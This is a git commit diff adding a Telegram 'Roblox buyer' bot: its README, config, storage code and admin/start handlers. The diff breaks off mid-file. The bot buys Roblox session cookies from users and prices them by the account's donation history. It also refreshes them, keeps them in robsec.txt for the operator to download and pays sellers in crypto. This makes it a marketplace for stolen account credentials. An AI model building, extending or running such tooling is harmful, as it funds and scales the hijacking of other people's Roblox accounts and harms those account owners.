commit c9413efd6a19455bfc45f4ec7c7329e375751f6c Author: root Date: Mon Jul 20 06:24:45 2026 +0500 Add modular Roblox buyer bot and documentation diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..ae31eaf --- /dev/null +++ b/.env.example @@ -0,0 +1,31 @@ +# Обязательные поля +BOT_TOKEN= +ADMIN_ID= +CRYPTO_PAY_TOKEN= + +# Бот для логгинга (логи будут в этом боте, можно указать один и тот же бот на главный и логгинга) +LOG_BOT_TOKEN= + +# Данные шопа +SHOP_NAME=KILL UNONY MOM +SHOP_CHANNEL=https://t.me/username +BOT_USERNAME=username + +# Директории и файлы +DATABASE_DIR=Users +COOKIE_FILES_DIR=Cookies +BOT_CONFIG_FILE=bot_config.json +BOT_STATS_FILE=bot_stats.json +PROXIES_FILE=proxies.txt +ROBSEC_FILE=robsec.txt + +# Настройки Roblox чекера +MAX_RETRIES=5 +CONCURRENT_CHECKS=50 +REQUEST_TIMEOUT=10 +FRESHER_BATCH_SIZE=10 + +# Значения по умолчанию +BOT_ENABLED_DEFAULT=true +SHOP_ENABLED_DEFAULT=true +MIN_WITHDRAW_DEFAULT=100.0 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0aa21c4 --- /dev/null +++ b/.gitignore @@ -0,0 +1,199 @@ +# ---> VirtualEnv +# Virtualenv +# http://iamzed.com/2009/05/07/a-primer-on-virtualenv/ +.Python +[Bb]in +[Ii]nclude +[Ll]ib +[Ll]ib64 +[Ll]ocal +[Ss]cripts +pyvenv.cfg +.venv +pip-selfcheck.json + +# ---> Python +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# UV +# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +#uv.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/latest/usage/project/#working-with-version-control +.pdm.toml +.pdm-python +.pdm-build/ + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +# Ruff stuff: +.ruff_cache/ + +# PyPI configuration file +.pypirc + +# Local bot runtime data +bot.log +bot_config.json +bot_stats.json +proxies.txt +robsec.txt +Users/ +filesforcookie/ + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..db66c04 --- /dev/null +++ b/LICENSE @@ -0,0 +1,18 @@ +MIT License + +Copyright (c) 2026 Lolz + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and +associated documentation files (the "Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the +following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial +portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT +LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE +USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..b017602 --- /dev/null +++ b/README.md @@ -0,0 +1,109 @@ +# Roblox-Buyer + +Telegram bot for validating Roblox cookies, checking donation history, refreshing payable cookies, and crediting sellers through CryptoBot checks. + +## Features + +- Cookie intake from plain text or `.txt` files. +- Concurrent Roblox cookie validation with optional proxies. +- Lifetime and yearly donation rate matching. +- AVG pricing for large batches of donation cookies. +- Cookie refresh before storage and payout. +- User balances, withdrawals, referrals, statistics, and bans. +- Admin controls for rates, shop/bot toggles, broadcasts, treasury, and user management. + +## Requirements + +- Python 3.10 or newer. +- Telegram bot token. +- CryptoBot API token for withdrawals and treasury top-ups. +- An administrator Telegram user ID. + +Install the runtime dependencies in a virtual environment: + +```powershell +python -m venv .venv +.\.venv\Scripts\Activate.ps1 +python -m pip install aiogram aiohttp requests curl-cffi +``` + +On Linux or macOS, use `source .venv/bin/activate` instead of the PowerShell activation command. + +## Configuration + +Copy [.env.example](.env.example) and set at least: + +```text +BOT_TOKEN=your_telegram_bot_token +ADMIN_ID=your_telegram_user_id +CRYPTO_PAY_TOKEN=your_cryptobot_api_token +``` + +The application reads environment variables through `config.py`. It does not load `.env` files automatically, so provide the variables through your shell, process manager, container, or another environment loader. + +For PowerShell: + +```powershell +$env:BOT_TOKEN = "your_telegram_bot_token" +$env:ADMIN_ID = "123456789" +$env:CRYPTO_PAY_TOKEN = "your_cryptobot_api_token" +python main.py +``` + +The default local paths are: + +- `Users/` for user records. +- `filesforcookie/` for temporary cookie files. +- `bot_config.json` for rates, treasury, and feature toggles. +- `bot_stats.json` for aggregate statistics. +- `proxies.txt` for optional proxy entries. +- `robsec.txt` for refreshed cookies retained by the bot. + +These runtime files are ignored by Git. Do not commit bot tokens, CryptoBot tokens, Roblox cookies, user records, or proxy credentials. + +## Running + +Start polling with: + +```powershell +python main.py +``` + +Users can start with `/start`, send cookie text, or upload a `.txt` file. Administrators can open `/admin` to manage the shop. + +## Project Structure + +```text +main.py Bot bootstrap and polling +config.py Environment settings and defaults +db/storage.py Config, stats, and proxy persistence +db/users.py User record persistence +models/ Typed data models +services/roblox.py Roblox validation, donation lookup, refresh +services/pricing.py Rate matching and payout calculations +services/withdrawals.py CryptoBot checks and treasury invoices +services/referrals.py Referral payouts +services/admin.py Admin operations +handlers/ Telegram commands, callbacks, and FSM flows +keyboards/ Inline keyboard builders +states/admin.py Admin FSM states +utils/ Parsing, logging, and shared helpers +``` + +## Security Notes + +Roblox cookies are credentials. Treat `robsec.txt`, uploaded files, and the `Users/` directory as sensitive data. Restrict filesystem access, keep backups encrypted, and remove data that is no longer needed. + +The CryptoBot integration currently uses the testnet API endpoints in `services/withdrawals.py`. Review and change those endpoints deliberately before handling production funds. + +## Verification + +Run a syntax check with: + +```powershell +python -m compileall -q . +``` + +## License + +MIT. See [LICENSE](LICENSE). diff --git a/config.py b/config.py new file mode 100644 index 0000000..7bfe029 --- /dev/null +++ b/config.py @@ -0,0 +1,75 @@ +import os +from concurrent.futures import ThreadPoolExecutor +from pathlib import Path + +from models.config import BotConfig +from models.stats import BotStats + + +BASE_DIR = Path(__file__).resolve().parent + + +def _resolve_path(value: str, default: str) -> Path: + path = Path(os.getenv(value, default)) + if path.is_absolute(): + return path + return BASE_DIR / path + + +def _env_int(name: str, default: int) -> int: + raw = os.getenv(name) + if raw is None or raw == "": + return default + return int(raw) + + +def _env_float(name: str, default: float) -> float: + raw = os.getenv(name) + if raw is None or raw == "": + return default + return float(raw) + + +def _env_bool(name: str, default: bool) -> bool: + raw = os.getenv(name) + if raw is None or raw == "": + return default + return raw.strip().lower() in {"1", "true", "yes", "on"} + + +BOT_TOKEN = os.getenv("BOT_TOKEN", "") +LOG_BOT_TOKEN = os.getenv("LOG_BOT_TOKEN", "") or None +ADMIN_ID = _env_int("ADMIN_ID", 0) +CRYPTO_PAY_TOKEN = os.getenv("CRYPTO_PAY_TOKEN", "") +SHOP_NAME = os.getenv("SHOP_NAME", "KILL UNONY MOM") +SHOP_CHANNEL = os.getenv("SHOP_CHANNEL", "https://t.me/bot399_start_bot") +BOT_USERNAME = os.getenv("BOT_USERNAME", "bot399_start_bot") + +DATABASE_DIR = _resolve_path("DATABASE_DIR", "Users") +COOKIE_FILES_DIR = _resolve_path("COOKIE_FILES_DIR", "filesforcookie") +CONFIG_FILE = _resolve_path("BOT_CONFIG_FILE", "bot_config.json") +STATS_FILE = _resolve_path("BOT_STATS_FILE", "bot_stats.json") +PROXIES_FILE = _resolve_path("PROXIES_FILE", "proxies.txt") +ROBSEC_FILE = _resolve_path("ROBSEC_FILE", "robsec.txt") + +MAX_RETRIES = _env_int("MAX_RETRIES", 5) +CONCURRENT_CHECKS = _env_int("CONCURRENT_CHECKS", 50) +REQUEST_TIMEOUT = _env_int("REQUEST_TIMEOUT", 10) +FRESHER_BATCH_SIZE = _env_int("FRESHER_BATCH_SIZE", 10) + +DATABASE_DIR.mkdir(parents=True, exist_ok=True) +COOKIE_FILES_DIR.mkdir(parents=True, exist_ok=True) + +FRESHER_POOL = ThreadPoolExecutor(max_workers=64, thread_name_prefix="fresher") + +DEFAULT_CONFIG = BotConfig.default() +DEFAULT_STATS = BotStats.default() + +BOT_ENABLED_DEFAULT = _env_bool("BOT_ENABLED_DEFAULT", True) +SHOP_ENABLED_DEFAULT = _env_bool("SHOP_ENABLED_DEFAULT", True) +MIN_WITHDRAW_DEFAULT = _env_float("MIN_WITHDRAW_DEFAULT", 100.0) + +# Apply deployment defaults before the first config file is created. +DEFAULT_CONFIG.bot_enabled = BOT_ENABLED_DEFAULT +DEFAULT_CONFIG.shop_enabled = SHOP_ENABLED_DEFAULT +DEFAULT_CONFIG.min_withdraw = MIN_WITHDRAW_DEFAULT diff --git a/db/storage.py b/db/storage.py new file mode 100644 index 0000000..886773f --- /dev/null +++ b/db/storage.py @@ -0,0 +1,62 @@ +import json +from pathlib import Path +from typing import Any + +from config import CONFIG_FILE, DEFAULT_CONFIG, DEFAULT_STATS, PROXIES_FILE, STATS_FILE +from models.config import BotConfig +from models.stats import BotStats + + +def _load_json(path: Path) -> dict[str, Any] | None: + if not path.exists(): + return None + try: + with path.open("r", encoding="utf-8") as fh: + return json.load(fh) + except Exception: + return None + + +def _save_json(path: Path, data: dict[str, Any]) -> None: + with path.open("w", encoding="utf-8") as fh: + json.dump(data, fh, indent=4, ensure_ascii=False) + + +def load_config() -> BotConfig: + data = _load_json(CONFIG_FILE) + if data is None: + config = DEFAULT_CONFIG + save_config(config) + return config + defaults = DEFAULT_CONFIG.to_dict() + defaults.update(data) + default_rates = defaults["rates"] + default_rates.update(data.get("rates") or {}) + defaults["rates"] = default_rates + return BotConfig.from_dict(defaults) + + +def save_config(cfg: BotConfig | dict[str, Any]) -> None: + config = cfg if isinstance(cfg, BotConfig) else BotConfig.from_dict(cfg) + _save_json(CONFIG_FILE, config.to_dict()) + + +def load_stats() -> BotStats: + data = _load_json(STATS_FILE) + if data is None: + stats = DEFAULT_STATS + save_stats(stats) + return stats + return BotStats.from_dict(data) + + +def save_stats(stats: BotStats | dict[str, Any]) -> None: + model = stats if isinstance(stats, BotStats) else BotStats.from_dict(stats) + _save_json(STATS_FILE, model.to_dict()) + + +def load_proxies() -> list[str]: + if not PROXIES_FILE.exists(): + return [] + with PROXIES_FILE.open("r", encoding="utf-8", errors="ignore") as fh: + return [line.strip() for line in fh if line.strip()] diff --git a/db/users.py b/db/users.py new file mode 100644 index 0000000..3e477a0 --- /dev/null +++ b/db/users.py @@ -0,0 +1,80 @@ +import json +from datetime import datetime +from pathlib import Path + +from config import ADMIN_ID, DATABASE_DIR +from db.storage import load_stats, save_stats +from models.user import UserProfile + + +def _user_dir(user_id: int) -> Path: + return DATABASE_DIR / str(user_id) + + +def path(user_id: int) -> Path: + return _user_dir(user_id) / "config.json" + + +def register(user_id: int, username: str | None = None, referrer: int | None = None) -> bool: + user_path = path(user_id) + is_new = False + + if not user_path.parent.exists(): + user_path.parent.mkdir(parents=True, exist_ok=True) + profile = UserProfile.default( + user_id=user_id, + username=username, + registered=datetime.now().strftime("%Y-%m-%d %H:%M:%S"), + referrer=referrer if referrer and referrer != user_id else None, + is_admin=(user_id == ADMIN_ID), + ) + save(user_id, profile) + is_new = True + + stats = load_stats() + stats.total_users += 1 + save_stats(stats) + + if referrer and referrer != user_id: + ref_profile = get(referrer) + if ref_profile and user_id not in ref_profile.referrals: + ref_profile.referrals.append(user_id) + save(referrer, ref_profile) + elif username: + profile = get(user_id) + if profile and profile.username != username: + profile.username = username + save(user_id, profile) + + return is_new + + +def get(user_id: int) -> UserProfile | None: + user_path = path(user_id) + if not user_path.exists(): + return None + with user_path.open("r", encoding="utf-8") as fh: + return UserProfile.from_dict(json.load(fh)) + + +def save(user_id: int, data: UserProfile | dict) -> None: + profile = data if isinstance(data, UserProfile) else UserProfile.from_dict(data) + user_path = path(user_id) + user_path.parent.mkdir(parents=True, exist_ok=True) + with user_path.open("w", encoding="utf-8") as fh: + json.dump(profile.to_dict(), fh, indent=4, ensure_ascii=False) + + +def all_users() -> list[int]: + if not DATABASE_DIR.exists(): + return [] + return [int(item.name) for item in DATABASE_DIR.iterdir() if item.is_dir() and item.name.isdigit()] + + +def find_by_username(username: str) -> int | None: + username = username.lstrip("@").lower() + for uid in all_users(): + profile = get(uid) + if profile and (profile.username or "").lower() == username: + return uid + return None diff --git a/handlers/admin.py b/handlers/admin.py new file mode 100644 index 0000000..87be1b2 --- /dev/null +++ b/handlers/admin.py @@ -0,0 +1,459 @@ +from __future__ import annotations + +from aiogram import F, Router +from aiogram.filters import Command +from aiogram.fsm.context import FSMContext +from aiogram.types import ( + CallbackQuery, + FSInputFile, + InlineKeyboardButton, + InlineKeyboardMarkup, + Message, +) + +from config import ADMIN_ID, ROBSEC_FILE +from db.storage import load_config +from db.users import get +from keyboards.admin import admin_menu_kb +from keyboards.user import back_kb +from services.admin import ( + add_balance, + add_treasury, + ban_user, + broadcast, + clear_robsec, + find_user, + is_admin, + robsec_info, + sub_balance, + toggle_bot, + toggle_shop, + toggle_user_admin, + update_min_withdraw, + update_rate, +) +from services.withdrawals import check_treasury_invoice, create_treasury_invoice +from states.admin import Form +from runtime import get_bot +from utils.logging import safe_edit + +router = Router(name="admin") + + +def _admin(user_id: int) -> bool: + return user_id == ADMIN_ID or is_admin(user_id) + + +def _user_card(uid: int) -> tuple[str, InlineKeyboardMarkup] | None: + profile = get(uid) + if not profile: + return None + text = ( + "User\n\n" + f"ID: {uid}\n" + f"Username: @{profile.username or '-'}\n" + f"Registered: {profile.registered or '-'}\n" + f"Balance: {profile.balance:.2f} RUB\n" + f"Total earned: {profile.total_earned:.2f} RUB\n" + f"Cookies: {profile.cookies_loaded}\n" + f"Referrals: {len(profile.referrals)}\n" + f"Admin: {'yes' if profile.is_admin else 'no'}\n" + f"Banned: {'yes: ' + profile.ban_reason if profile.is_banned else 'no'}" + ) + keyboard = InlineKeyboardMarkup( + inline_keyboard=[ + [ + InlineKeyboardButton(text="Add balance", callback_data=f"u_bal_add_{uid}"), + InlineKeyboardButton(text="Subtract balance", callback_data=f"u_bal_sub_{uid}"), + ], + [InlineKeyboardButton( + text="Unban" if profile.is_banned else "Ban", + callback_data=f"u_ban_{uid}", + )], + [InlineKeyboardButton( + text="Remove admin" if profile.is_admin else "Grant admin", + callback_data=f"u_admin_{uid}", + )], + [InlineKeyboardButton(text="Back", callback_data="admin_back")], + ] + ) + return text, keyboard + + +@router.message(Command("admin")) +async def cmd_admin(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + await state.clear() + await message.answer("Admin panel", parse_mode="HTML", reply_markup=admin_menu_kb()) + + +@router.callback_query(F.data == "admin_close") +async def admin_close(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + await state.clear() + try: + await callback.message.delete() + except Exception: + pass + await callback.answer() + + +@router.callback_query(F.data == "admin_back") +async def admin_back(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + await state.clear() + await safe_edit(callback, "Admin panel", reply_markup=admin_menu_kb()) + await callback.answer() + + +@router.callback_query(F.data == "admin_toggle_shop") +async def admin_toggle_shop(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + enabled = toggle_shop() + await callback.message.edit_reply_markup(reply_markup=admin_menu_kb()) + await callback.answer(f"Shop: {'ON' if enabled else 'OFF'}") + + +@router.callback_query(F.data == "admin_toggle_bot") +async def admin_toggle_bot(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + enabled = toggle_bot() + await callback.message.edit_reply_markup(reply_markup=admin_menu_kb()) + await callback.answer(f"Bot: {'ON' if enabled else 'OFF'}") + + +@router.callback_query(F.data == "admin_robsec_get") +async def admin_robsec_get(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + lines, size = robsec_info() + if not size: + await callback.answer("robsec.txt is empty", show_alert=True) + return + try: + bot = get_bot() or callback.message.bot + await bot.send_document( + callback.from_user.id, + FSInputFile(ROBSEC_FILE), + caption=f"robsec.txt\nLines: {lines}\nSize: {size} bytes", + ) + await callback.answer("Sent") + except Exception as exc: + await callback.answer(f"Error: {exc}", show_alert=True) + + +@router.callback_query(F.data == "admin_robsec_clear") +async def admin_robsec_clear_prompt(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + lines, _ = robsec_info() + keyboard = InlineKeyboardMarkup( + inline_keyboard=[ + [InlineKeyboardButton(text="Yes, clear", callback_data="admin_robsec_clear_yes")], + [InlineKeyboardButton(text="Cancel", callback_data="admin_back")], + ] + ) + await safe_edit(callback, f"Clear robsec.txt? Current lines: {lines}", reply_markup=keyboard) + + +@router.callback_query(F.data == "admin_robsec_clear_yes") +async def admin_robsec_clear_yes(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + clear_robsec() + await safe_edit(callback, "robsec.txt cleared", reply_markup=admin_menu_kb()) + await callback.answer("Cleared") + + +@router.callback_query(F.data == "admin_rates") +async def admin_rates(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + cfg = load_config() + rows = [ + [InlineKeyboardButton(text=f"{rate.name}: {rate.price:.2f} RUB", callback_data=f"admin_rate_{key}")] + for key, rate in cfg.rates.items() + ] + rows.append([InlineKeyboardButton(text="Back", callback_data="admin_back")]) + await safe_edit( + callback, + "Rate management\nSelect a rate:", + reply_markup=InlineKeyboardMarkup(inline_keyboard=rows), + ) + await callback.answer() + + +@router.callback_query(F.data.startswith("admin_rate_")) +async def admin_rate_select(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + key = callback.data.removeprefix("admin_rate_") + cfg = load_config() + rate = cfg.rates.get(key) + if not rate: + await callback.answer("Rate not found", show_alert=True) + return + await state.update_data(rate_key=key) + await state.set_state(Form.admin_edit_rate) + await safe_edit( + callback, + f"Rate: {rate.name}\nCurrent price: {rate.price:.2f} RUB\n\nSend a new price:", + reply_markup=back_kb("admin_back"), + ) + + +@router.message(Form.admin_edit_rate) +async def admin_edit_rate_save(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + try: + price = float((message.text or "").replace(",", ".")) + if price < 0: + raise ValueError + except ValueError: + await message.answer("Send a non-negative number.") + return + data = await state.get_data() + key = data.get("rate_key") + cfg = load_config() + if key not in cfg.rates: + await state.clear() + return + update_rate(key, price) + await state.clear() + await message.answer(f"Rate updated: {cfg.rates[key].name} = {price:.2f} RUB", reply_markup=admin_menu_kb()) + + +@router.callback_query(F.data == "admin_min_withdraw") +async def admin_min_withdraw(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + await state.set_state(Form.admin_min_withdraw) + await safe_edit( + callback, + f"Current minimum withdrawal: {load_config().min_withdraw:.2f} RUB\nSend a new value:", + reply_markup=back_kb("admin_back"), + ) + + +@router.message(Form.admin_min_withdraw) +async def admin_min_withdraw_save(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + try: + value = float((message.text or "").replace(",", ".")) + if value <= 0: + raise ValueError + except ValueError: + await message.answer("Send a positive number.") + return + update_min_withdraw(value) + await state.clear() + await message.answer(f"Minimum withdrawal updated to {value:.2f} RUB", reply_markup=admin_menu_kb()) + + +@router.callback_query(F.data == "admin_treasury") +async def admin_treasury(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + await state.set_state(Form.admin_treasury_amount) + await safe_edit(callback, "How much RUB should be added to the treasury?", reply_markup=back_kb("admin_back")) + + +@router.message(Form.admin_treasury_amount) +async def admin_treasury_amount(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + try: + amount = float((message.text or "").replace(",", ".")) + if amount <= 0: + raise ValueError + except ValueError: + await message.answer("Send a positive number.") + return + await state.clear() + invoice = await create_treasury_invoice(amount) + if not invoice: + await message.answer("CryptoBot invoice creation failed.", reply_markup=admin_menu_kb()) + return + pay_url, invoice_id, amount_usdt = invoice + keyboard = InlineKeyboardMarkup( + inline_keyboard=[ + [InlineKeyboardButton(text="Pay", url=pay_url)], + [InlineKeyboardButton(text="Check payment", callback_data=f"treasury_check_{invoice_id}_{amount}")], + ] + ) + await message.answer( + f"Treasury invoice: {amount:.2f} RUB (~{amount_usdt} USDT)\nPay it and check the status.", + parse_mode="HTML", + reply_markup=keyboard, + ) + + +@router.callback_query(F.data.startswith("treasury_check_")) +async def treasury_check(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + _, _, invoice_id, amount = callback.data.split("_", 3) + try: + paid = await check_treasury_invoice(int(invoice_id)) + amount_rub = float(amount) + except (ValueError, TypeError): + paid = False + amount_rub = 0.0 + if not paid: + await callback.answer("Payment has not arrived yet", show_alert=True) + return + balance = add_treasury(amount_rub) + await safe_edit(callback, f"Treasury topped up by {amount_rub:.2f} RUB. Total: {balance:.2f} RUB", reply_markup=admin_menu_kb()) + await callback.answer("Paid") + + +@router.callback_query(F.data == "admin_broadcast") +async def admin_broadcast_prompt(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + await state.set_state(Form.admin_broadcast) + await safe_edit(callback, "Send the broadcast text or a photo with caption.", reply_markup=back_kb("admin_back")) + + +@router.message(Form.admin_broadcast) +async def admin_broadcast_send(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + await state.clear() + sent, failed = await broadcast( + message.bot, + text=message.text, + photo_id=message.photo[-1].file_id if message.photo else None, + caption=message.caption, + ) + await message.answer(f"Broadcast complete. Sent: {sent}, failed: {failed}.", reply_markup=admin_menu_kb()) + + +@router.callback_query(F.data == "admin_users") +async def admin_users(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + await state.set_state(Form.admin_find_user) + await safe_edit(callback, "Send a user ID or @username.", reply_markup=back_kb("admin_back")) + + +@router.message(Form.admin_find_user) +async def admin_find_user(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + uid = find_user((message.text or "").strip()) + await state.clear() + if uid is None: + await message.answer("User not found.", reply_markup=admin_menu_kb()) + return + card = _user_card(uid) + if card: + await message.answer(card[0], parse_mode="HTML", reply_markup=card[1]) + + +@router.callback_query(F.data.startswith("u_bal_add_")) +async def u_bal_add(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + uid = int(callback.data.removeprefix("u_bal_add_")) + await state.update_data(target_uid=uid) + await state.set_state(Form.admin_user_balance_add) + await safe_edit(callback, "Send the amount to add:", reply_markup=back_kb("admin_back")) + + +@router.message(Form.admin_user_balance_add) +async def u_bal_add_save(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + try: + amount = float((message.text or "").replace(",", ".")) + if amount <= 0: + raise ValueError + except ValueError: + await message.answer("Send a positive number.") + return + uid = (await state.get_data()).get("target_uid") + add_balance(uid, amount) + await state.clear() + await message.answer(f"Added {amount:.2f} RUB to {uid}.", reply_markup=admin_menu_kb()) + + +@router.callback_query(F.data.startswith("u_bal_sub_")) +async def u_bal_sub(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + uid = int(callback.data.removeprefix("u_bal_sub_")) + await state.update_data(target_uid=uid) + await state.set_state(Form.admin_user_balance_sub) + await safe_edit(callback, "Send the amount to subtract:", reply_markup=back_kb("admin_back")) + + +@router.message(Form.admin_user_balance_sub) +async def u_bal_sub_save(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + try: + amount = float((message.text or "").replace(",", ".")) + if amount <= 0: + raise ValueError + except ValueError: + await message.answer("Send a positive number.") + return + uid = (await state.get_data()).get("target_uid") + sub_balance(uid, amount) + await state.clear() + await message.answer(f"Subtracted {amount:.2f} RUB from {uid}.", reply_markup=admin_menu_kb()) + + +@router.callback_query(F.data.startswith("u_ban_")) +async def u_ban(callback: CallbackQuery, state: FSMContext): + if not _admin(callback.from_user.id): + return + uid = int(callback.data.removeprefix("u_ban_")) + profile = get(uid) + if not profile: + return + if profile.is_banned: + from services.admin import unban_user + + unban_user(uid) + await callback.answer("Unbanned") + else: + await state.update_data(target_uid=uid) + await state.set_state(Form.admin_user_ban_reason) + await safe_edit(callback, "Send the ban reason:", reply_markup=back_kb("admin_back")) + return + card = _user_card(uid) + if card: + await safe_edit(callback, card[0], reply_markup=card[1]) + + +@router.message(Form.admin_user_ban_reason) +async def u_ban_reason(message: Message, state: FSMContext): + if not _admin(message.from_user.id): + return + uid = (await state.get_data()).get("target_uid") + ban_user(uid, (message.text or "No reason").strip()) + await state.clear() + card = _user_card(uid) + if card: + await message.answer(card[0], parse_mode="HTML", reply_markup=card[1]) + + +@router.callback_query(F.data.startswith("u_admin_")) +async def u_admin(callback: CallbackQuery): + if not _admin(callback.from_user.id): + return + uid = int(callback.data.removeprefix("u_admin_")) + enabled = toggle_user_admin(uid) + await callback.answer(f"Admin: {'ON' if enabled else 'OFF'}") + card = _user_card(uid) + if card: + await safe_edit(callback, card[0], reply_markup=card[1]) diff --git a/handlers/start.py b/handlers/start.py new file mode 100644 index 0000000..5806481 --- /dev/null +++ b/handlers/start.py @@ -0,0 +1,95 @@ +from aiogram import F, Router +from aiogram.filters import CommandStart +from aiogram.fsm.context import FSMContext +from aiogram.types import CallbackQuery, Message + +from config import ADMIN_ID, BOT_USERNAME, SHOP_NAME +from db.storage import load_config +from db.users import get, register +from keyboards.user import main_menu_kb +from services.admin import is_admin +from runtime import get_bot, get_log_bot +from utils.logging import log_admin + +router = Router(name="start") + + +def _welcome_text(cfg) -> str: + text = ( + f"Welcome to {SHOP_NAME}!\n\n" + "You can sell cookies at these rates:\n" + ) + for rate in cfg.rates.values(): + text += f"- {rate.name}: {rate.price:.2f} RUB\n" + return text + ( + f"\nAVG pricing applies to {cfg.avg_min_cookies}+ cookies with donations.\n" + f"The AVG price is capped at {cfg.avg_min_price:.2f}-{cfg.avg_max_price:.2f} RUB per cookie.\n\n" + "Send a .txt file or paste your cookie text." + ) + + +async def _show_start( + message: Message, + state: FSMContext, + user_id: int, + username: str | None, + referrer: int | None = None, +) -> None: + await state.clear() + is_new = register(user_id, username, referrer) + profile = get(user_id) + cfg = load_config() + if profile and profile.is_banned: + await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}") + return + if not cfg.bot_enabled and user_id != ADMIN_ID: + await message.answer("The bot is temporarily disabled by an administrator.") + return + if is_new: + bot = get_bot() or message.bot + await log_admin( + bot, + ADMIN_ID, + f"New user\nID: {user_id}\n" + f"@{username or '-'}\nReferrer: {referrer or '-'}", + get_log_bot(), + ) + + text = _welcome_text(cfg) + if is_admin(user_id): + text += "\n\nAdmin accounts cannot sell cookies. Use /admin." + await message.answer(text, parse_mode="HTML", reply_markup=main_menu_kb()) + + +@router.message(CommandStart()) +async def cmd_start(message: Message, state: FSMContext): + argument = (message.text or "").split(maxsplit=1) + referrer = None + if len(argument) > 1 and argument[1].startswith("ref_"): + try: + referrer = int(argument[1][4:]) + except ValueError: + referrer = None + await _show_start( + message, + state, + message.from_user.id, + 